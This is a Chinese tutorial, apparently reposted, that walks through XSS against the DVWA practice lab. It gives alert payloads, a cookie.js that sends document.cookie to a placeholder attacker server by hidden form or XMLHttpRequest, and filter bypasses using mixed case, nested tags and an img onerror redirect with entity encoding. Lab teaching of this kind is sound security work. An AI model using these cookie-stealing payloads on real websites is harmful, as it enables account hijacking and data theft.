XSS Reflected攻击

简介

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

XSS攻击的危害包括
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

Low级别

把http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English的参数English换为

<script>alert('hack')</script>

回车,跨站脚本攻击成功

利用xss获取用户cookie

由于script标签可以加载远程服务器的javascript代码并且执行,所以在自己的服务器下编写cookie.js。

编写cookie.js

用dom生成表单然后提交,不推荐这种

document.write("<form action='http://服务器ip/项目/接受cookie的接口' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
//console.info('xss-dom: '+document.cookie);
document.exploit.submit();

用js的httpRequest

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'http://ip:port/接口路径', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
//console.info('xss-dom: '+document.cookie);
httpRequest.send('data='+document.cookie);   //发送请求 将请求体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        //console.log(json);
    }
};

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到你的接口

使用cookie.js

接下来在有xss漏洞的位置插入。

把http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English的参数English换为

<script src=http://服务器ip/项目路径/cookie.js></script>

Medium级别

会过滤<script>标签,在low级别的基础上把<script>更改为<scr<script>ipt>或者<SCRIPT>

<scr<script>ipt>alert("xss")</script>
<SCRIPT>alert("xss")</SCRIPT>

Height级别

当同时带有script这几个字母时不通过

通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss。

<img SrC=# oneRror=(locatIon.href="http://ip:port/cookieinf?data="+documenT.cookie)>

注意观察我们所插入的代码,我表明的大写部分,竟然构成了一个script,所以符合代码的正则,从而过滤掉了,将插入代码中的i进行html编码&#x69;

<img src=# onerror=(locat&#x69;on.href="http://ip:port/cookieinf?data="+document.cookie)>

参考:

https://www.freebuf.com/articles/web/157953.html

猜你喜欢

转载自www.cnblogs.com/aeolian/p/11076735.html